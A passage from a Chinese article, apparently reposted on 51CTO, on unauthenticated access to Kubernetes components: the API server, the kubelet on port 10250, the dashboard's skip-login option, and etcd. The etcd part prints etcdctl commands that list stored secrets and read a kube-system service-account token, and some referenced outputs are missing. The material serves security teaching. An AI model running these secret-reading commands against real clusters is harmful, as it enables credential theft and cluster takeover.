③ apiserver 會(huì)協(xié)同 ETCD 等組件準(zhǔn)備下發(fā)新建容器的配置給到節(jié)點(diǎn),協(xié)議:http/https(除 ETCD 外還有例如 kube-controller-manager,

④ scheduler等組件用于規(guī)劃容器資源和容器編排方向)

⑤ apiserver 與 kubelet 進(jìn)行交互,告知其容器創(chuàng)建的需求,協(xié)議:http/https

⑥ kubelet 與Docker等容器引擎進(jìn)行交互,創(chuàng)建容器,協(xié)議:http/unix socket

2.API Server

默認(rèn)情況下,apiserver 都是有鑒權(quán)的

但也有未鑒權(quán)的配置,此時(shí)請(qǐng)求接口的結(jié)果如下:

對(duì)于這類的未鑒權(quán)的設(shè)置來(lái)說(shuō),訪問(wèn)到 apiserver 一般情況下就獲取了集群的權(quán)限

3.Kubelet

每一個(gè)Node節(jié)點(diǎn)都有一個(gè)kubelet服務(wù),kubelet監(jiān)聽了10250,10248,10255等端口。

其中10250端口是kubelet與apiserver進(jìn)行通信的主要端口,通過(guò)該端口kubelet可以知道自己當(dāng)前應(yīng)該處理的任務(wù),該端口在最新版Kubernetes是有鑒權(quán)的,但在開啟了接受匿名請(qǐng)求的情況下,不帶鑒權(quán)信息的請(qǐng)求也可以使用10250提供的能力。

在新版本Kubernetes中當(dāng)使用以下配置打開匿名訪問(wèn)時(shí)便可能存在kubelet未授權(quán)訪問(wèn)漏洞:

執(zhí)行命令

4.Dashboard

dashboard是Kubernetes官方推出的控制Kubernetes的圖形化界面,在Kubernetes配置不當(dāng)導(dǎo)致dashboard未授權(quán)訪問(wèn)漏洞的情況下,通過(guò)dashboard我們可以控制整個(gè)集群。

 在dashboard中默認(rèn)是存在鑒權(quán)機(jī)制的,用戶可以通過(guò)kubeconfig或者Token兩種方式登錄,當(dāng)用戶開啟了enable-skip-login時(shí)可以在登錄界面點(diǎn)擊Skip跳過(guò)登錄進(jìn)入dashboard。

然而通過(guò)點(diǎn)擊Skip進(jìn)入dashboard默認(rèn)是沒(méi)有操作集群的權(quán)限的,因?yàn)镵ubernetes使用RBAC(Role-based access control)機(jī)制進(jìn)行身份認(rèn)證和權(quán)限管理,不同的serviceaccount擁有不同的集群權(quán)限。

我們點(diǎn)擊Skip進(jìn)入dashboard實(shí)際上使用的是Kubernetes-dashboard這個(gè)ServiceAccount,如果此時(shí)該ServiceAccount沒(méi)有配置特殊的權(quán)限,是默認(rèn)沒(méi)有辦法達(dá)到控制集群任意功能的程度的。

但有些開發(fā)者為了方便或者在測(cè)試環(huán)境中會(huì)為Kubernetes-dashboard綁定cluster-admin這個(gè)ClusterRole(cluster-admin擁有管理集群的最高權(quán)限)。

5.etcd

etcd 被廣泛用于存儲(chǔ)分布式系統(tǒng)或機(jī)器集群數(shù)據(jù),其默認(rèn)監(jiān)聽了2379等端口,如果2379端口暴露,可能造成敏感信息泄露。

Kubernetes默認(rèn)使用了etcd v3來(lái)存儲(chǔ)數(shù)據(jù),如果我們能夠控制Kubernetes etcd服務(wù),也就擁有了整個(gè)集群的控制權(quán)。 

  1. export ETCDCTL_API=3  
  2. etcdctl endpoint health  
  3. etcdctl get / --prefix --keys-only | grep /secrets/ 

 

  1. etcdctl get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-pkkd5 

 

 

責(zé)任編輯:龐桂玉 來(lái)源: 奇妙的Linux世界
相關(guān)推薦

2024-04-18 12:12:01

2022-06-22 11:09:21

網(wǎng)絡(luò)釣魚網(wǎng)絡(luò)攻擊

2025-01-20 11:24:56

2023-11-08 07:10:17

2022-09-02 09:04:05

機(jī)器學(xué)習(xí)評(píng)估

2014-07-09 10:34:49

2022-08-08 12:00:34

網(wǎng)絡(luò)安全攻防演練

2021-09-26 09:18:10

KnockOutloo安全工具紅隊(duì)

2023-11-23 19:07:33

2024-10-16 16:36:22

2025-02-06 15:16:19

2024-10-21 13:11:50

2021-08-11 05:03:27

工具滲透網(wǎng)絡(luò)

2025-02-25 11:04:20

2010-12-30 09:49:20

2023-09-12 15:02:33

2025-04-07 08:33:49

2023-07-26 07:59:28

2011-05-07 14:39:00

投影

2022-03-26 19:25:40

Python包Python開發(fā)
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)